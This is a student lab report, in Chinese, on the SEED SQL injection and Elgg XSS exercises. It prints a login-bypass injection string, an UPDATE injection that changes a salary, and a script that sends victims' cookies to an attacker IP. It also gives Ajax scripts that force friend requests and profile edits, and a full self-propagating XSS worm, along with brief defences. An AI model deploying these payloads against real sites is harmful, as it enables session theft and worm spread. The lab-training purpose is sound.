1. 程式人生 > 其它 ># 20212808 2021-2022-2 《網路攻防實踐》實踐十報告

# 20212808 2021-2022-2 《網路攻防實踐》實踐十報告

20212808 2021-2022-2 《網路攻防實踐》實踐十報告

1.知識點梳理與總結

1.1 實驗目標

一、SEED SQL注入攻擊與防禦實驗

我們已經建立了一個Web應用程式,並將其託管在www.SEEDLabSQLInjection.com。該Web應用程式是一個簡單的員工管理應用程式。員工可以通過此Web應用程式檢視和更新資料庫中的個人資訊。此Web應用程式主要有兩個角色:管理員是特權角色,可以管理每個員工的個人資料資訊。員工是一般角色,可以檢視或更新自己的個人資料資訊。完成以下任務:

熟悉SQL語句: 我們已經建立了一個名為Users的資料庫,其中包含一個名為creditential的表。該表儲存了每個員工的個人資訊(例如,eid,密碼,薪水,ssn等)。在此任務中,您需要使用資料庫來熟悉SQL查詢。

對SELECT語句的SQL注入攻擊:上述Web應用存在SQL輸入漏洞,任務是在不知道密碼的情況下登陸該Web應用程式。

對UPDATE語句的SQL注入攻擊:通過員工的更新個人介面實施UPDATE語句的SQL注入攻擊。

SQL對抗:修復上述SQL注入攻擊漏洞。

二、SEED XSS跨站指令碼攻擊實驗(Elgg)

為了演示攻擊者可以利用XSS漏洞做什麼,我們在預先構建的Ubuntu VM映像中設定了一個名為Elgg的Web應用程式。在本實驗中,學生需要利用此漏洞對經過修改的Elgg發起XSS攻擊,攻擊的最終目的是在使用者之間傳播XSS蠕蟲,這樣,無論是誰檢視的受感染使用者個人資料都將被感染。

釋出惡意訊息,顯示警報視窗:在您的Elgg配置檔案中嵌入一個JavaScript程式,以便當另一個使用者檢視您的配置檔案時,將執行JavaScript程式並顯示一個警報視窗。

彈窗顯示cookie資訊:將cookie資訊顯示。

竊取受害者的cookies:將cookie傳送給攻擊者。

成為受害者的朋友:使用js程式加受害者為朋友,無需受害者干預,使用相關的工具瞭解Elgg加好友的過程。

修改受害者的資訊:使用js程式使得受害者在訪問Alice的頁面時,資料無需干預卻被修改。

編寫XSS蠕蟲。

對抗XSS攻擊。

2.實踐過程

2.1 SEED SQL注入實驗

1.首先鍵入sudo service apache2 start啟動apache 密碼dees

  1. 然後使用mysql -uroot -p登入資料庫,密碼是seedubuntu,檢視一下表中資料

    輸入show databases;

    輸入use Users;

    使用指令select * from credential;來列印所有員工的資訊,在這裡可以看到員工的姓名、工資以及hash之後的密碼等資訊。

  2. 對SELECT語句的攻擊
  • 在fireFox收藏中開啟SQL Injection site書籤(www.seedlabsqlinjection.com)
    隨意輸入一個使用者名稱或密碼,F12查看錶單提交情況,可以看到進行校驗的是unsafe_home.php
  • vim /var/www/SQLInjection/unsafe_home.php 開啟unsafe_home.php檔案,檢視原始碼。得知該web應用的資料庫使用者為root,密碼為seedubuntu

    進行登入認證時,區分admin使用者及其他使用者,使用者資訊表名為credential
  • 根據上面資訊,我們用admin來登入 ,登入時正確的SQL查詢語句為 SELECT id, name, eid, salary, birth, ssn, address, email, nickname, Password FROM credential WHERE name= ’$input_uname’ and Password=’$hashed_pwd’
    但是如果在使用者名稱輸入Admin'#,就可以讓SQL語句提前結束,而不進行密碼校驗,#可將密碼校驗的部分註釋掉了。實踐可以發現,成功進入系統,並可以檢視到所有的使用者資訊。
  1. 對update語句的攻擊
  • 開啟unsafe_edit_backend.php檔案,執行vim /var/www/SQLInjection/unsafe_edit_backend.php,在原始碼中找到處理update語句的地方,員工只能修改自己的個人資訊,而無法修改salary,那我們就來修改員工的salary。
  • 同樣方法登入Alice,登陸成功後,可以看到salary為20000
  • 點選圖中的edit profile修改資訊。在nickname欄位輸入',salary='30000' where Name='Alice'; #
    將Alice的工資從原來的20000改為了30000

  1. 對抗SQL注入
    SQL 注入漏洞的根本原因是沒有將程式碼和資料區分開。當組建一個 SQL 語句時,程式知道哪個部分是程式碼哪個部分是資料。不幸的是當 SQL 語句送往資料庫執行時,這個邊界被打破,當程式被注入時,SQL 直譯器看到的邊界可能和最初的邊界不一樣。

2.2 SEED XSS攻擊實驗

  • 我們使用Alice作為攻擊者,Boby作為受害者,Admin作為蠕蟲攻擊的第二波受害者。
  • Alice的賬戶為alice密碼seedalice,Boby賬戶boby密碼seedboby,Admin賬戶名admin密碼seedelgg
    1. 釋出惡意訊息,顯示警報視窗
  • 在Elgg user profile中嵌入JavaScript程式,因此當另一個使用者檢視你的個人資料(profile)時,JavaScript程式將會執行並且顯示一個警告視窗。下面的JavaScript程式用於顯示一個警告視窗:
  • 首先用Alice賬戶密碼登陸,開啟並編輯個人頁面(點選如下圖左上角小標,再點選edit profiles)
  • 將填入Brief desription域中
  • 然後使用另一個使用者(Boby)登入並檢視Alice的profile,則將會看到警告視窗。(其實在上一步,填完後,點選save也會出現XSS彈窗)
  • 在這種情況下,使用的JavaScript程式碼足夠短,所以能夠鍵入短的描述欄位。如果我們想執行一段長的JavaScript程式碼,為了不受欄位字元數量的限制,我們可以把JavaScript程式儲存在.js檔案內,然後在script標籤內使用src屬性進行引用。
  1. 彈窗顯示cookie資訊
  • 在Alice的個人頁面的Brief description中插入我們的XSS攻擊程式碼。

  • Boby登入,more—>members—>Alice或者頁面右邊search處查詢Alice,進入Alice個人頁面,則出現如下彈框。事實上Alice的Brief description修改之後自己也會彈框。

  1. 獲取受害主機的cookie
  • 檢視下IP
  • 在這個任務中,攻擊者希望JavaScript程式碼將cookie傳送給自己。為了實現這一點,惡意的JavaScript程式碼需要向攻擊者傳送一個HTTP請求,同時附加cookies到請求。我們可以通過使惡意的JavaScript插入一個標籤,其src屬性設定為攻擊者的機器來實現。當JavaScript插入img標籤時,瀏覽器嘗試從src欄位中的URL載入圖片,這導致HTTP GET請求傳送到攻擊者的機器。
    下面給出的JavaScript將cookies傳送到攻擊者機器的5555埠,若攻擊者的TCP server偵聽同一個埠,伺服器則可打印出任何收到的內容。
    嵌入的Javascript程式碼:<script>document.write('<img src=http://192.168.200.4:5555?c=' + escape(document.cookie) + ' >');</script>

  • 5555埠失敗換成7777,成功

    4.獲取受害主機的cookie
  • 加好友時,請求的地址是http://www.xsslabelgg.com/action/friends/add。請求地址的第一個引數是friend=,請求地址的第二個引數是&__elgg_ts=,請求地址的第三個引數是&__elgg_token=,也就是說我們要指明新增的好友,新增的時間並進行新增者的身份驗證.
  • 程式碼如下:xss攻擊自動新增好友。
<script type="text/javascript">
window.onload = function () {
	var Ajax=null;
	var ts="&__elgg_ts="+elgg.security.token.__elgg_ts;
	var token="&__elgg_token="+elgg.security.token.__elgg_token;


	//Construct the HTTP request to add Samy as a friend.
	var sendurl="http://www.xsslabelgg.com/action/friends/add?friend=44" + ts + token; 

	//Create and send Ajax request to add friend
	Ajax=new XMLHttpRequest();
	Ajax.open("GET",sendurl,true);
	Ajax.setRequestHeader("Host","www.xsslabelgg.com");
	Ajax.setRequestHeader("Content-Type","application/x-www-form-urlencoded");
	Ajax.send();
}


注意:About me中的程式碼要用edit HTML模式儲存

  • 登入boby主頁,可以看到boby加了Alice的好友
  1. 修改受害者資訊
    在正常的情況下,修改簡介應該傳送什麼樣的指令。為此我們點選Edit profile,並同時使用HTTP Header Live檢視傳送的資料。可以得到請求的方式是POST,請求的地址是http://www.xsslabelgg.com/action/profile/edit,請求地址的第一個引數是&__elgg_token=,請求地址的第二個引數是&__elgg_ts=,請求地址的第三個引數是&__name=elgg.session.user.name。結合分析得到的資訊,可以編寫出如下的程式碼,用於xss攻擊自動新增好友。
<script type="text/javascript">
	window.onload = function(){
		//JavaScript code to access user name, user guid, Time Stamp __elgg_ts
		//and Security Token __elgg_token
		var userName=elgg.session.user.name;
		var guid="&guid="+elgg.session.user.guid;
		var ts="&__elgg_ts="+elgg.security.token.__elgg_ts;
		var token="&__elgg_token="+elgg.security.token.__elgg_token;

		//Construct the content of your url.
		var content= token + ts + "name=" + userName + "&description=<p>this had been changed by xss attack.</p> &accesslevel[description]=2&briefdescription=&accesslevel[briefdescription]=2&location=&accesslevel[location]=2&interests=&accesslevel[interests]=2&skills=&accesslevel[skills]=2&contactemail=&accesslevel[contactemail]=2&phone=&accesslevel[phone]=2&mobile=&accesslevel[mobile]=2&website=&accesslevel[website]=2&twitter=&accesslevel[twitter]=2" + guid;
		var sendurl = "http://www.xsslabelgg.com/action/profile/edit";
		alert(content)
		//FILL IN
		var samyGuid=44;
		//FILL IN
		if(elgg.session.user.guid!=samyGuid)
		{
			//Create and send Ajax request to modify profile
			var Ajax=null;
			Ajax=new XMLHttpRequest();
			Ajax.open("POST",sendurl,true);
			Ajax.setRequestHeader("Host","www.xsslabelgg.com");
			Ajax.setRequestHeader("Content-Type",
			"application/x-www-form-urlencoded");
			Ajax.send(content);
		}
	}
</script>
  • 將程式碼放到alice的about me中。登陸boby賬號訪問Alice的個人主頁,返回主頁時看到語句this had been changed by xss attack.
  1. 編寫XSS蠕蟲
    程式碼:
<script id="worm" type="text/javascript">
	window.onload = function(){
		var headerTag = "<script id=\'worm\' type=\'text/javascript\'>";
		var jsCode = document.getElementById("worm").innerHTML;
		var tailTag = "</" + "script>"; 
		var wormCode = encodeURIComponent(headerTag + jsCode + tailTag);

		var userName=elgg.session.user.name;
		var guid="&guid="+elgg.session.user.guid;
		var ts="&__elgg_ts="+elgg.security.token.__elgg_ts;
		var token="&__elgg_token="+elgg.security.token.__elgg_token;

		//Construct the content of your url.
		var content= token + ts + "&name=" + userName + "&description=<p>this page had been changed by xss attack  "+ wormCode + "</p> &accesslevel[description]=2&briefdescription=&accesslevel[briefdescription]=2&location=&accesslevel[location]=2&interests=&accesslevel[interests]=2&skills=&accesslevel[skills]=2&contactemail=&accesslevel[contactemail]=2&phone=&accesslevel[phone]=2&mobile=&accesslevel[mobile]=2&website=&accesslevel[website]=2&twitter=&accesslevel[twitter]=2" + guid;
		var sendurl = "http://www.xsslabelgg.com/action/profile/edit"
		alert(content)

		var samyGuid=44;

		if(elgg.session.user.guid!=samyGuid)
		{
			var Ajax=null;
			Ajax=new XMLHttpRequest();
			Ajax.open("POST",sendurl,true);
			Ajax.setRequestHeader("Host","www.xsslabelgg.com");
			Ajax.setRequestHeader("Content-Type",
			"application/x-www-form-urlencoded");
			Ajax.send(content);
		}
		
	}
</script>


程式碼放入Alice的about me處,切換賬戶讓boby去訪問Alice主頁。同時,蠕蟲病毒已經侵染了Boby的主頁。-

  • 讓admin訪問boby的主頁,admin就成為了二級感染者.
  1. 對抗XSS攻擊
    使用elgg提供的外掛HTMLawed,管理員登陸後Account->Administration->plugins,將HTMLawed啟用,再次訪問Alice主頁,發現About me部分的蠕蟲已失去效果,程式碼作為資料被展示。
  • 找到外掛HTMLawed,點選active並使其Deactivate。這個外掛的主要作用是對使用者的輸入輸出進行校驗並且去除特定標籤。
  • 回去看alice的profile,就可以看到這個時候XSS攻擊已經沒有效果了,Alice中的程式碼被當作about me顯示出來了

3.學習中遇到的問題及解決

問題1:實踐二中任務3,竊取受害者cookies,未成功
問題1解決辦法:
5555埠換成7777

4.實踐總結

經過本次實驗複習了sql相關知識和javascript,程式設計有點難度,瞭解了SQL注入是利用Web應用程式的資料層存在的輸入驗證不完善型安全漏洞實施的程式碼注入攻擊技術;瞭解了XSS攻擊原理是利用Web應用程式中的安全漏洞,在伺服器端網頁插入惡意客戶端指令碼程式碼,在Web伺服器上產生出一些惡意攻擊頁面。